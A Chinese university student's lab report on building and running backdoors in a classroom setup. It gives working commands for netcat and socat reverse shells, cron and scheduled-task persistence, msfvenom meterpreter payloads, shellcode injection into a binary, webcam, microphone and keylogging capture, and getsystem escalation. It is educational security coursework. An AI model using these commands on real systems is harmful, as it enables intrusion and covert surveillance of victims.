20222318 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

追风是菜鸟發表於2024-10-23

1.實驗內容

(一)本週課程內容

(1)深入理解後門概念及其實際案例,明晰後門對系統安全構成的潛在威脅。
(2)普及後門技術知識,涵蓋各類程序隱藏技巧,並熟悉netcat、meterpreter、veil等常見工具的應用。
(3)進一步學習了shellcode注入的邏輯原理及其在不同場景下的應用。

(二)實驗目標

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)(PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

(三)實驗簡單問答

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

①插入來源不明的隨身碟
②在來源不明的網站下載檔案導致植入木馬
③截斷我的系統與其他人的通訊流(中間人攻擊),將惡意程式碼傳送至我的系統。

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

Windows系統

①任務計劃程式:攻擊者可以在Windows任務計劃程式中建立定時任務,指定在特定時間或事件觸發時執行惡意程式。
②動態連結庫替換:當應用程式載入特定的動態連結庫(DLL)時,攻擊者可以透過替換合法的DLL檔案為惡意DLL,使得應用程式在執行時載入惡意DLL而不是合法的DLL。
③登錄檔啟動:惡意軟體可以在Windows登錄檔的特定位置(如“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”等)新增鍵值對,指定惡意程式的路徑,從而實現隨系統啟動而自動啟動。

Linux系統

①crontab定時任務:類似於Windows的定時任務,攻擊者可以在Linux的crontab中新增任務,指定在特定時間或事件觸發時執行惡意程式。
②利用反彈Shell啟動後門:攻擊者透過讓目標系統主動連線到攻擊者的伺服器,從而建立反向的Shell連線。利用這種技術,攻擊者可以在目標系統上啟動後門程式,並透過反彈的Shell連線來控制目標系統。

(3)Meterpreter有哪些給你印象深刻的功能?

①生成惡意程式碼,都不需要自己編寫。
②螢幕截圖、鍵盤輸入、錄音、開啟攝像頭,可以不知不覺地視奸別人。就是開啟攝像頭會有閃光燈,太明顯了。

(4)如何發現自己有系統有沒有被安裝後門?

①檢查是否有未知或異常的使用者賬戶,特別是那些具有管理員許可權的賬戶。
②查詢異常登入嘗試、許可權提升、檔案或目錄訪問等異常活動。
③使用防病毒軟體、防火牆、漏洞掃描工具等,實時維護系統。
④定期更新系統和應用程式的補丁,以修復已知漏洞,使用最新的安全補丁和更新來保護系統免受攻擊。
⑤檢查系統程序和網路連線:查詢是否有不認識的、可疑的或與已知後門相關的程序,查詢與已知後門相關的IP地址或埠,檢查是否有可疑連線。

2.實驗過程

2.0準備過程

一定要先把所有防火牆、防病毒全部關了,實驗全程都需要保持關閉狀態,不然總是礙事!

虛擬機器關閉防火牆使用apt-get install ufwufw disable命令。

檢視主機和虛擬機器IP地址,後面經常用
(主機地址在每個任務之間會有變化,因為做實驗期間在好幾個地方做了)
此處虛擬機器IP地址為:192.168.197.130
主機IP地址為:192.168.1.105

2.1使用netcat獲取主機操作Shell,cron啟動某項任務

2.1.1 使用netcat獲取主機操作Shell

先在Windows平臺下載netcat,Linux自帶。下載教程:> https://blog.csdn.net/muriyue6/article/details/107127217

在主機上,進入netcat所在目錄,輸入指令nc -l -p 8888(表示使用netcat軟體監聽本機8888埠,此時主機是主動攻擊方)
注:也可以配置環境變數,在PATH變數中新增netcat資料夾的絕對路徑,就可以在任意目錄下使用nc指令了

在虛擬機器上,輸入指令nc 192.168.1.105 8888 -e /bin/sh(表示對於指定的ip地址和埠,在連線後執行/bin/sh指令,此時虛擬機器是被攻擊方)

在主機終端輸入一些命令(如ls),返回虛擬機器的檔案資訊,說明主機已經成功獲取虛擬機器操作Shell。

2.1.2 cron啟動某項任務

Cron相關介紹

Cron表是用於配置和管理那些需按預定週期自動執行的任務的列表。使用者可以透過編輯crontab檔案,精確地設定任務(包括指令碼或命令)在特定的時間間隔內自動執行。

駭客可能會透過以下步驟利用Cron表設定後門:
①獲取系統訪問許可權:駭客首先需要獲取對目標系統的訪問許可權,這通常是透過利用系統漏洞、破解密碼或進行社會工程學攻擊等手段實現的。
②編輯Cron表:一旦獲得訪問許可權,駭客可能會使用crontab -e命令來編輯Cron表。他們會在Cron表中新增一個新的任務,該任務將在特定的時間間隔內自動執行一個惡意指令碼或命令。
③編寫惡意指令碼:駭客會編寫一個惡意指令碼,該指令碼可能包含用於反彈Shell、收集系統資訊、安裝惡意軟體或執行其他惡意行為的程式碼。這個指令碼需要被放置在目標系統上的某個位置,並確保Cron任務能夠找到並執行它。
④設定Cron任務:在Cron表中,駭客會設定一個新的任務,指定惡意指令碼的路徑和執行時間。
例如,他們可能會設定一個每分鐘執行一次的Cron任務,以確保惡意指令碼能夠持續執行並執行其惡意行為。
⑤利用後門進行攻擊:一旦後門被成功設定,駭客就可以利用它來隨時訪問和控制系統。他們可以透過反彈Shell來執行命令、檢視系統資訊、傳輸檔案或進行其他惡意操作。

我們要用編輯cron表,就要了解命令的格式。以下是一個典型的crontab條目的格式:

* * * * * command_to_be_executed
- - - - -  
| | | | |  
| | | | +----- 星期幾 (0 - 7) (星期天 為0或7)  
| | | +------- 月份 (1 - 12)  
| | +--------- 日期 (1 - 31)  
| +----------- 小時 (0 - 23)  
+------------- 分鐘 (0 - 59)

以下是一些具體的例子:
1.每分鐘執行一次命令:* * * * * /path/to/command
2.每小時的第15分鐘執行命令:15 * * * * /path/to/command
3.每天凌晨1點執行命令:0 1 * * * /path/to/command
4.每週一的凌晨2點執行命令:0 2 * * 1 /path/to/command
5.每月1號的凌晨3點執行命令:0 3 1 * * /path/to/command
6.每年1月1日的凌晨4點執行命令:0 4 1 1 * /path/to/command

實驗過程
1.直接編輯crontab表

在虛擬機器以root許可權(或以root使用者名稱登入)(若用普通使用者名稱登入,則使用sudo su命令,輸入密碼後切換至root身份)開啟命令列,輸入命令crontab -e(編輯當前使用者的crontab檔案)

選擇2:/usr/bin/vim.basic(vim的基礎版)

直接滑到最後,按i進入編輯模式,輸入45 * * * * /bin/netcat 192.168.1.105 8888(在每個小時的45分執行相應指令),按Esc退出編輯模式,輸入 :wq! 儲存並退出。

使用指令crontab -l檢視時程表,可以看到新增任務成功。

在虛擬機器的檔案系統中查詢/var/spool/cron/crontabs資料夾,可以看到新增了一個root檔案。

2.透過netcat獲取的主機操作shell,利用echo語句將定時任務遠端注入crontab表。

在windows主機的終端(cmd)中,用同樣的方式再次與虛擬機器建立連線。

輸入指令echo "* * * * * echo "20222318" > /home/主機名/Desktop/2318_1.txt" > /var/spool/cron/crontabs/root(該語句的意思是往crontabs中的root檔案中輸入"* * * * * echo "20222318" > /home/keitaro726/Desktop/2318_1.txt"這一字串,意思是每分鐘執行一次這個echo指令,而這個echo指令又是為了往2318_1.txt寫入“20222318”)

輸入crontab -l檢視時程表,可以看到注入成功。

過一分鐘後可以看到桌面上出現2318_1.txt,且內容為20222318。

2.2使用socat獲取主機操作Shell, 任務計劃啟動

socat其實可以理解為netcat的升級版,也是為了在裝置之間傳遞檔案/資料的。Linux自帶,Windows要自己下載。下載socat後,在主機上解壓縮即可使用。

在socat所在的資料夾進入cmd,輸入指令 socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(建立一個在TCP埠8888監聽上的伺服器,當有人連線到這個埠時,它會啟動一個cmd.exe會話,並將這個會話的輸入和輸出透過 TCP 連線與客戶端共享)

在虛擬機器上輸入socat - tcp:192.168.1.105:8888(使用socat建立一個到特定IP地址和埠的TCP連線),成功進入到Windows主機命令列。

在主機上編寫一段Shell,在cmd用gcc編譯好(需配置好gcc的環境變數)生成exe檔案。程式的內容(不要帶空格、中文)如下。

在虛擬機器中,輸入指令schtasks /create /sc minute /mo 1 /tn"20222318lzf" /tr D:\Code_Blocks_Workspace\20222318lzf\lzf.exe(建立一個名為 "20222318lzf" 的計劃任務,該任務每分鐘執行一次,執行的程式是lzf.exe)

(注:這裡我多輸入了y,是因為之前不小心忘記在create前輸入"/"了,導致命令出錯,我猜測這裡輸入y是為了確認覆蓋掉之前錯誤命令所建立的任務計劃。)

在主機中開啟計算機管理,看到"20222318lzf"這一每分鐘執行一次的任務,說明攻擊成功。

2.3使用MSF meterpreter生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell

1.用meterpreter生成後門檔案

輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=虛擬機器IP LPORT=8888 -f exe > backdoor2022318.exe
這一指令將生成一個名為backdoor20222318.exe的惡意可執行檔案,該檔案包含一個反向TCP Meterpreter shell有效載荷。當這個檔案在Windows計算機上執行時,它會嘗試建立一個到IP地址為192.168.197.130、埠號為8888的攻擊者機器的反向連線。如果連線成功,攻擊者就可以透過Meterpreter shell遠端控制受感染的計算機。

2.將後門檔案傳至windows主機

在主機中進入netcat所在目錄,輸入指令nc -lv 8888 > "自定目錄\backdoor20222318.exe"(監聽8888埠,將監聽結果輸出到windows平臺中的backdoor20222318.exe檔案中,本質上是利用netcat將後門檔案傳輸到windows主機上)


注:這張圖片的輸出結果表示8888埠無法使用。我最終並沒有用這個方法傳輸後門檔案,因為我排查不出埠無法使用的原因,我也找不到合適的埠進行資料傳輸,我是透過xftp直接將後門檔案傳輸到windows主機上的,此處僅做正常命令流程的解釋。


具體:只是新建了一個檔案用於等待接收資料,實際上完全沒有任何內容。

同時,在虛擬機器中輸入指令nc 目標IP地址 8888 < backdoor20222318.exe(將backdoor20222318.exe的檔案內容傳送到192.168.1.105:8888)


此時圖片顯示結果:該IP地址的該埠拒絕連線(可能是因為埠關閉或是處於過濾狀態)。

解決方案:使用其他工具(如xftp)傳輸後門檔案。

注:虛擬機器可能啟動時不會自動開啟ssh服務,這是由系統配置檔案決定的,進行ssh傳輸前務必先用systemctl start ssh開啟ssh服務,否則就算輸入正確的IP地址、使用者名稱、密碼也無法進行連線。如圖。

傳輸後可以看到exe檔案有內容了(終於!!!)卡了我五六個小時(哭)

3.配置監聽模組

在虛擬機器的終端輸入指令msfconsole,開啟Metasploit框架的主要控制檯介面。這個圖案純粹是裝飾品,每次啟動都不一樣,不用管。

輸入如下命令對監聽模組進行配置:
use exploit/multi/handler(選擇Metasploit中的multi/handler利用模組)
set payload windows/meterpreter/reverse_tcp (設定要使用的有效載荷,和生成後門程式時設定的相同)
set LHOST 192.168.197.130 (設定後門連線到的IP地址,也就是監聽端)
set LPORT 8888(設定監聽資料流向的埠)

輸入exploit,使監聽模組開始執行。

在主機上進入backdoor20222318.exe所在資料夾,在此路徑下進入cmd,輸入backdoor20222318.exe,使其開始執行。

回到虛擬機器,輸入dir會顯示backdoor20222318所在的目錄(也就是桌面),可以發現已經連線至主機。

2.4使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權

1.獲取目標主機音訊、截圖、攝像頭、擊鍵記錄

在exploit模組中輸入以下指令:
record_mic(錄音)

screenshot(截圖)

webcam_snap(拍攝)

keyscan_start(開始讀取鍵盤記錄)
(回到主機輸入一段文字)
keyscan_dump(結束讀取鍵盤記錄)

除了鍵盤記錄直接顯示在命令列以外,可以在檔案系統看到被儲存的音訊、截圖、拍攝記錄。

2.實現提權

記住一定要用管理員身份執行cmd再執行後門程式,否則許可權不夠無法提權!

用指令getuid得到初始使用者名稱DESKTOP-G4F355S\DELL。
用指令getsystem提升到系統許可權。

可以看到提權成功。使用的是第六個方法(不重要)

2.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

在虛擬機器中輸入指令msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.197.130 LPORT=8888 -x /home/keitaro726/Homework/Experiment2/pwn20222318-2-1 -f elf > pwn2_20222318(建立一個Linux 32位平臺上的反向TCP meterpreter payload,將其注入到指定的可執行檔案(pwn)中,並將注入結果儲存為一個ELF格式的檔案,elf檔案在Linux平臺是可執行檔案,與exe類似)

使用指令sudo su(提升至管理員身份)chmod +x 需要提權的檔案對生成的elf檔案提高許可權。

輸入msfconsole,再次進行監聽配置(注意生成的payload是linux/x86/meterpreter/reverse_tcp),輸入exploit開始監聽。

在虛擬機器開啟新的終端,執行elf檔案pwn2_20222318。

回到監聽終端,輸入ls,發現可以列印當前目錄的內容,說明成功獲取shell。

3.問題及解決方案

  • 問題1:傳輸後門檔案的時候明明把實時保護、防病毒、防火牆都關了,但是一傳輸過來就會被刪除。
  • 問題1解決方案:實時保護功能會不定時自動開啟,需要多次檢視是否關閉。

  • 問題2:使用netcat傳輸後門檔案時總顯示無法解析主機名,也無法和8888埠通訊,但是可以ping通。


注:這裡的IP地址是Windows平臺的主機地址,當時連的是教室Wifi,IP地址變了

  • 問題2解決過程:
    1.檢視有無佔用8888埠的程序,如果有,關閉該程序。


事實上找不到佔用該埠的程序

2.下載nmap進行埠掃描,直接檢視8888埠的狀態


該埠處於關閉狀態,服務卻不是“unknown”,被一個具體的服務佔用了

3.檢視其他空閒埠,嘗試用其他空閒埠傳輸


(中間實時保護突然開啟了,把netcat隔離了,後面將實時保護關掉,恢復netcat才繼續用)
結果還是無法利用空閒埠。

所有防火牆、防病毒、實時保護都關閉了,也能ping通百度,ping通主機,說明網路通暢。排查了很久始終不知道為什麼不能利用特定埠進行傳輸,就放棄了使用netcat傳輸後門程式。

4.學習感悟、思考等

本次實驗我透過不斷摸索明白了netcat,socat,meterpreter的用法,學習到了很多有關埠掃描、資料傳輸的知識,感受到了後門程式的強大力量。但是實際上要植入一個後門程式可不容易呀,一出現一個可疑檔案防毒軟體就會把你宰了,所以要做好免殺工作,而且防火牆還要處於關閉狀態,惡意檔案才能進來(或是你自己下載了不明連結的檔案),所以如果自己警惕意識強的話,電腦想要被感染還真是不太容易,這告訴我們網路安全首要抓的就是防範的意識。除此之外,這次實驗還讓我體驗到了駭客的感覺,看到自己的照片、自己的螢幕被截圖,感覺真的很驚喜,從前覺得駭客掌握的技術距離我還很遙遠,如今我也能用用三腳貓功夫了,感覺學到這種新知識新技能很開心很興奮。

相關文章